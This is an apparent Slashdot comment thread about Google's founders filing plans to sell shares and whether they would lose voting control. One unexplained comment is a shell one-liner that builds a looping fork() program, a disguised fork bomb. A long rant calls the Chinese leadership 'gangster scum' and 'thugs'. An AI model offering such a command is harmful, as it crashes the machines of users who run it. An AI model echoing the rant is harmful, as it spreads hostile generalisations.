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Larry & Sergey To Cash In $5.5B of Google Chips
theodp writes "According to an SEC filing, Google founders Larry Page and Sergey Brin have adopted five-year trading plans to sell about 5M shares each, which would yield each about $2.75B based on Friday's closing stock price of $550.01. BTW, Google kicks in 12 cents to Social Security and another 2 cents to Medicare on its founders' celebrated $1 annual salaries." After this stock is sold, the founders will hold less than 50% of the voting shares and thus will give up voting control of Google.
Even if they have less than 50%, if they have the largest block then in all likelyhood they will still retain control.
Why does it matter if the founders are contributing to SS? They're hardly going to need to draw on it, so everyone else can continue paying in and later drawing out their money. Oh wait, that isn't how SS works? Drat.
I think China should buy all these shares, then they wouldn't need to hack anything!
Google has always appeared to me as a company that was moved by the vision of its founders. While the "do no evil" policy has been... flexible, there has always been a sort of philanthropic, "we get why you hate Microsoft, we want to be different" type of thing with Google.
I wonder how long that will last with the founder no longer in control.
The profits from selling of their shares will be considered income by the IRS, and taxed accordingly.
Even more so, it seems like Google has been doing some huge changes lately (maybe pulling out of china, android for mobile phones, photographing every street on the planet, current "main guys" and owners starting to sell shares).
Remember that their current stance on privacy (and especially their datamining everywhere) doesn't tell anything how the company will be ran in future. It's even more worry some when the 'geeky' owners sell their shares and leave control to business people.
I bet the Chinese Government are buying those shares (and the voting rights attached to them) as fast as they can. People said Larry and Sergei were crazy pissing them off but maybe it's all part of the plan.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
They're liquidating their assets and moving to their moonbase!
Because their salary is $1 and they want to spend some money?
If my salary was $1 and I had over a billion in stocks you best believe I'd be cashing some of it out....
I bet the Chinese Government are buying those shares (and the voting rights attached to them) as fast as they can. People said Larry and Sergei were crazy pissing them off but maybe it's all part of the plan.
That's just paranoia! This is what is really happening...
As they sell their shares, other mutual funds and pension funds will buy the stock as "investments" - those mutual funds and pensions won't be really well known. It'll be something like the Virginia Government Employee Retirement Fund or what have you. Now, those funds would be managed by a company that's called, the Center Investing Authority - let's say. Now that company is actually a shell company based in the Cayman Islands. Their agents in the Caymans would be Guido Catelloni, Fettuccine Alfredo and Jose Paco Horowitz. Of course, it's really a ruse. Since the true owners are in Iceland. So, you have Igottafatdottir as being the power behind the Cayman name, Now, you'd think that that money was stolen from the current Icelandic financial crisis. Nope! the money actually came from Italy. You see the Cayman Island guys are actually the real guys BUT they're Jesuit priests! That's right! The Catholic Church is buying up Google and pinning it on the Chinese. Why is the Catholics buying Google? Why to launder all that treasure from the Crusades!
See, you're theory is just too far fetched, as for mine, well, there's a couple of millennia of history to back it up.
What are they planning to do with the money? Simply kick back and relax? Or now that Google's reached cruising speed, are they likely to be looking around for new challenges?
Android makes impressive gains in Q4
They went from 1% to 16% in a year.
meep
Why don't we get real for a minute? If these guys were forced to live like they only earned $1 I would agree with you completely. They own the company you moron! They can pay themselves whatever they want without selling the stock. They can also buy anything they want in the name of Google and not pay any taxes on it.
I want to live in your fantasy world. Its 10-25 in federal resort prison for what you just described.
Dan Brown posts to slashdot!?
I gotta admit that was a compelling little narrative.
If you don't know what AltaVista is (was), get off my lawn.
This is crazy. Why are they giving up majority control? I've heard people complain endlessly about how Google could turn into another mindless, profit-at-all-costs-seeking corporation like Microsoft, but I was always secure in the knowledge that the founders had voting control. I just don't understand this. Google rakes in billions in pure profit every year. How could they possibly need more money?
You know what? When it comes to face, I think the rest of the planet needs to make it so they lose face all the time. They need to, untrustworthy gangster scum need to "lose face". We should stop kowtowing to them like that, ALL the time. The only face they really want is your face with their economic and physical boot in it. Screw that.
The Chinese "leaders" are the direct unbroken political descendants of a regime that murdered millions of their own people and engaged in genocide with other people. I have no idea why we even set out on this path to make them richer and more powerful, we wouldn't have done that with the stalinists, nope, nor hitlerites if they were still in power, but for some reason, these murderers get a free pass, like we are just supposed to play make believe history didn't happen and today's reality isn't happening.
The industrialized and more civilized nations (in cahoots with various big business trader traitors and their political puppets) handed them for free, or sold cheap, or they outright stole, and continue to steal, most of the crown jewels of the knowledge and techniques of said industrialization and modernization and *still* we are supposed to be oh so freaking worried about their "face". Well...too bad!
*(*&&*( their dang tyrannical despotic "face", they *need* to "lose face" for being mass jerks. (**&*^ all this bowing and scraping and treating them like they are civilized and honorable. They aren't, they are just modernized thugs, same as they have always been, and getting more powerful daily. They are and have been a major serious threat to the rest of the planet.
The best thing we could do is pull out, make all these stupid global companies just pull the heck out as well, or kick them out, before we are too poor and too far gone into stupid debt, before it is too late to build back up the west's industrial base, the true wealth creation parts of our economies.
That's the main reason we are hurting economically, we let them billionaire traitorous skunks with their despotic allies with their precious "face" swap out our manufacturing for that conman crap about being a "service" economy and emphasizing high stakes casino gambling as some sort of wealth creation "industry". Then they ran that little multi trillion bail out pure extortion racket on top of that!
There's been ZERO quid pro quo budge with them people, no reform inside that nation, no freedoms there except the freedom to be global class crooks, with caveat emptor products, since we handed them the means for wealth creation. All they have done is gone on an around the world grabbing spree, grabing industry after industry, and now raw resource after raw resource, and every time some one dares to point this out, the wall street gangster tools and their chinese mafia brothers cry "protectionism!" BS, they have been "protecting" that cooperating mob gang since day one, it's time for a little more proactive self defense *protection* back.
Trouble in China followed by the two principals cashing in stock? Something's going down.
It's all downhill from here. I wouldn't say that Google's endeavors beyond search have been complete failures. I wouldn't call them raging successes either. The time is coming in the next few years when people are going to take a long and hard look at Google's valuation and begin to ask, "Where is the value?"
For all of their side projects and initiatives and ideas, Google seems to be little more than the most successful (so far) advertising resource on the internet. It isn't hard to imagine Google holding onto their lead in search, and that will continue to generate revenue for them. Beyond that, what are they really going to do that justifies their $500+ per share stock price? Cellphones, netbooks, tablets? Google Apps?
Innovation means taking risks when going into directions that may not immediately turn a profit form time to time. Google has been doing this with their 20% rule http://googleblog.blogspot.com/2006/05/googles-20-percent-time-in-action.html for quite a while now and some nice projects have resulted. If this philosophy, which often enough might not result in immediate profit for the company is to be stopped the way you seem to have in mind, then the very thing google stands for could be lost. In the end, turning to profits like that might be the best way to commit suicide for a company that relies on innovation, good PR and fanboyism as much as google.
YEAH! Google should be all about the short term and next quarter's profits! That's how our economy's so strong today!
Sorry, people but large shareholders file SEC notices like this all the time, but that does not obligate them to sell. It just allows them the option to sell.
Living in Chile
"Maybe now the company will stop wasting money on projects with a shit ROI and return some of the profits to shareholders in the form of dividends."
I totally agree. Microsoft has been gouging investors for years.
So their share of Google, between the two of them, falls below 50%.
Unless it falls significantly below 50%, a wide array of other parties would have to be in agreement, and against them, for them to not have control. Unless they start screwing up, that is unlikely to occur.
The preferred solution is to not have a problem.
"by Anonymous Coward" is an anagram for "Dan Brown yoyoma suc"
just saying
The class B shares that L&S own, which have 10x the voting power of class A (regular) shares, convert to class A shares when they sell. Nobody else can use a sale like this to grab a disproportionate share of control over the company.